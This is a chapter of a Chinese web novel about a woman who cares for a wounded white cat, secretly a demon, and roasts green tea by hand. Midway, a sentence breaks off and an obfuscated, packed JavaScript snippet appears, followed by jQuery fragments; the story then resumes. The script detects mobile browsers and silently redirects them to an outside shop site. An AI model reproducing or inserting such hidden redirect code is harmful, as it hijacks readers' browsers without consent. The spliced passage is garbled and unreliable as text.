文趣网 > 其他小说 > 常姑娘请自重 > 13. 第十三章
    将茶鲜叶与驱虫草都摊晒好,常乐宁回到卧房脱下外穿的褐色麻衣。

    “咪咪,饿不饿呀?”

    她走到木柜旁见白猫半个身子摊开,尾巴向前遮住腹部,低头正在想要不要埋进去吸一吸,眼神一凝,白猫胸前本已愈合的伤口,隐隐泛着血色,仔细瞧着,它的呼吸很浅很慢。

    原来白猫不是在睡觉,而是不舒服了。好好的伤口怎么会被撕扯?

    她赶忙出去取了晒干的止筋草用药臼捶磨成粉,加入一点清水化开,用手指沾着药液一点一点涂抹在白猫伤口上。

    这小猫怎么好了伤疤忘了疼,不会是在家跑酷了吧。

    常乐宁端来凳子坐在木柜旁,心疼地轻抚白猫眉间,替它抚平微微蹙起的眉头。少顷,白猫呼吸变得平稳,她才舒出一口气。

    她在网上看到有人说养宠物就是为自己埋上一颗悲伤的种子,之前她只当救下白猫,没想那么多,如今它伤好了也没离开,她就当它接受了她。虽然还不知道白猫的性别,也没为它取名,可在她的心里她们已经是一家人了。

    她知道猫的寿命不长,但她想要她的小猫健健康康、无病无痛地活到寿终正寝。那样注定的悲伤肯定会少一些。

    常乐宁在这暗自神伤,玉尘却因为她为他敷了药,耗尽的妖力在一点一点恢复,只是经过这一折腾,他又得在人界待上一段时日。

    不过他已确定这个叫阿宁的女子能医治妖,且治愈效果迅速。他在考虑,要不要将她绑架去归云城。

    玉尘身体轻快许多,因过度使用神识头部刺痛感也没有了,他掀起眼皮,对上一张难得忧愁的脸。

    这张忧愁的脸,因他的苏醒,眉眼一下舒展开。

    常乐宁独自emo了一会儿,见白猫终于醒了,眨巴眨巴眼睛,仿佛刚才不舒服那猫不是它似的。她展颜一笑,双手捧着白猫的脑袋,用力蹭了蹭,“小家伙,伤还没好全,要懂得猥琐发育,别浪。”

    说完趁白猫晃神在它嘴上亲了一口,“今早我出门时你用猫的方式亲我,现在我用人的方式给你补上。”

    “mua~”又是一口,“你得好好的,等我攒够钱带你去城里住,每天换着花样给你弄好吃的。”

    玉尘:“……”

    什么猫的方式,人的方式?他什么时候亲她了?!

    这人不仅无礼还无耻。

    玉尘挣开女子的双手,后退着逃到一边,侧头睨了女子一眼,也不顾伤口会不会裂开,跳下木柜朝屋外跑去。

    常乐宁见白猫有了精神,放下心来,对它的白眼不甚在意。小猫咪能有什么错,小猫咪干什么都是对的。

    让白猫自在玩耍,她先去做饭。

    铁锅晚上要用来炒茶,为了减少些菜油味,她不准备炒菜。一个小灶就能解决她与白猫的晚饭,她吃腊肉炖鲜笋,白猫吃清蒸鲜鱼,美哉美哉!

    待一人一猫的饭菜摆上桌后,玉尘看着女子面前的肉笋汤,之前没对比不觉得,怎么看也是她那碗更香。

    “不行,我这里有调味料,你不能吃。”

    常乐宁注意到白猫的眼神,随即抬起手将碗口盖住,她朝装鱼肉的陶盘抬了抬下巴,“这是前山溪谷里的鱼,比石桥那河里的更鲜嫩,你尝了就知道不比我碗里的差。”

    玉尘看女子死命护住碗的姿势就知道,只要他一日是猫身,就不可能吃到有正常调味的食物。垂眸看着仔细踢掉鱼骨的蒸鱼肉,心想:算了,能恢复妖力比什么都强。

    常乐宁还以为白猫会来扒拉碗,没想到它只是看了一眼便蹲坐着开始小口吃鱼,她想,翠岭山绝对有灵气,不然山里的小动物怎么都这么聪明,完全能听懂人话。

    等吃完饭收拾好碗筷,常乐宁去看茶鲜叶,比做饭前她翻晒那会儿,叶片颜色又暗了一些,闻着青草味不明显了,有淡淡的清香。

    “等生好火,应该就摊晒得差不多了。”

    这会儿天色已经暗了,夜间湿气增加,再放在外面晾着反而会返潮。

    玉尘刚看到女子烧水洗了锅,以为她要沐浴,准备提前回屋装睡,却见她又往灶里添了柴,站在灶房外面,就着昏黄的灯光端着簸箕在那颠筛。

    那簸箕里就是他今日用神识看到她采摘的树叶。这不是药材吗?

    玉尘虽然好奇,并没有靠近。她不睡正好,他可以多照照月光,有助于恢复妖力。

    炒茶之前要将茶鲜叶上多余的鳞片,也叫鱼叶筛掉,常乐宁采摘的虽不是很嫩的芽头也依照步骤象征性颠一颠,还真让她筛出些小叶片。

    筛完鱼叶,她来到灶台前感受锅温。第一道炒制需要300多度,当初体验时,那炒茶师傅教了一个很好辨别温度是否到位的方法,将手放在锅上面感受一下,有明显的灼痛感,锅温就差不多了。

    常乐宁把手背悬在铁锅上仔细感受了一下,有点烫,手多放两秒就因害怕烫伤而下意识想收回,这温度应该差不多了。

    她为什么将甘露绿茶的制作步骤记得这么清楚,还真要感谢那炒茶师傅,他因为常给游客讲解,教授时用的词非常简洁易懂。比如首先要记住的就是三炒三揉,第一道炒制关键词是“焖抖”,就是轻轻压着茶叶在锅里转圈圈地炒,看着差不多了要掀起茶叶抖一抖散散热,以免炒糊了。

    揉就更简单,就像搓汤圆那样,将炒制过的茶叶放在掌心中揉团团。甘露是卷曲型绿茶,揉捻除了为激发茶滋味,还为塑形。

    第一道炒制时温度最高,当时体验时,每个游客都发了一双白色的纺织手套,如今没有这个条件,常乐宁直接徒手炒制,炒茶师傅也说用手更能感受茶叶的状态。

    徒手炒制,与其说担心茶叶炒糊了,她更怕手掌先糊,没炒一会儿她就要掀起茶叶在空中抖一抖,茶叶和她的手都需要散散热。

    她这次采的茶叶少,第一道炒制不一会儿就闻到一股扑鼻的清香,锅里升起团团白雾,将她的脸熏得发烫。

    “呼~呼~”

    手不能停,她只能鼓着腮将雾气吹散,见芽头都已被炒散开,连忙将茶叶用一个松针做的小刷从锅里扫到簸箕里,再颠了颠,去除碎叶就把簸箕放在旁边的方桌上开始揉捻。

    将茶

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491754|202264||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    叶均匀揉了两分钟,趁着锅温赶紧进行第二道炒制,这次炒制时间更短,闻到似板栗的甜香就马上出锅。

    筛掉碎叶,重复揉捻动作。

    第二次揉捻,茶叶已从亮绿变得黄绿,叶片上的白色茶毫清晰可见。

    一切都和她当时在炒茶师傅指导下做的一样。常乐宁闻着茶香,还没喝,心口已经泛起甜。

    她还是会点东西的。

    收尾的第三道炒制是在还有余温的锅里将茶叶慢慢烘干,这个过程不用再打圈炒制,边揉边炒就行,主要目的是塑形和提香。

    只有将茶叶烘干到含水量7%以下才能长期储存不变质,没有专业的测试设备,手工人只能靠手感,她取了一片茶叶用手指捻了捻,能捻成末;又取了一个瓷碗,抓了一把茶叶慢慢散落在碗中,竖起耳朵仔细听瓷碗与茶叶碰撞的声音。

    是清脆的。

    大功告成。

    刚才大半簸箕的鲜叶,最后炒制出来的干茶只有两把,量和她在兰韵轩买的二两茶差不多。

    一般新炒制的绿茶半月后饮用最佳,需要放置一段时间,自然散去火气,以免喝了上火。

    常乐宁可等不了,陶釜里烧着水,她当即就想泡一杯来喝。想去揭锅盖时才发现手掌全是茶毫,都能搓成毛条。她看了一眼簸箕里均匀摊开的二两干茶,舀出一瓢水到木盆中,将自己先收拾干净。

    洗脸布在脸上一抹,全是茶毫和细碎的茶叶。

    玉尘本来心无旁骛地晒着月光,奈何灶房那边飘来的味道愈来愈烈,是和女子做的吃食一样,有着诱妖的香味。

    他从中辨别出一股清香,知道了女子一直在忙活什么。

    她居然还会制茶。

    凡人活着真是不易,女子会采药打猎制茶,这么多技能,却还住在没瓦遮身的房屋里。

    默默观察女子做茶,玉尘看明白了一件事,他看着簸箕里刚做好的茶叶,他的猜想是否准确,喝了这茶叶泡出来的茶便能确定。

    常乐宁洗完脸就看到白猫蹲坐在灶房的土墙台面上,一双大眼睛直勾勾地看着簸箕里的茶叶。

    她走上前去,“咪咪,你也闻到味儿了,是不是特别香?可惜你不能喝茶,不然这第一批,必须给你尝鲜。”

    常乐宁说完,见白猫眨了眨眼没有跑走,凑上去和它贴了贴脸,说:“等我去泡上一杯,再给你闻茶汤,肯定更香。”

    玉尘不明白了,有调味料不给动物吃,这茶怎么也不能喝了?女子在哪里学的这些忌讳?

    可恶的是,他愣神的一小会儿又被占了便宜。呵!喝不喝可不是你说了算。

    趁女子转身去盛水,他纵身一跳,没发出一点声响地落在木桌上。如今是四只爪子,无法自己煮茶,他可以直接吃茶叶。

    他俯身含起一口茶叶。

    随着咀嚼动作,玉尘的眉头微微蹙起,牙齿破开脆叶,浓烈的苦涩味在口腔里泛开,他忍着想要立即将茶叶吐出来的冲动,心一横,直接吞咽下去。

    体内的妖力立马有了变化。

    他的猜测有了答案。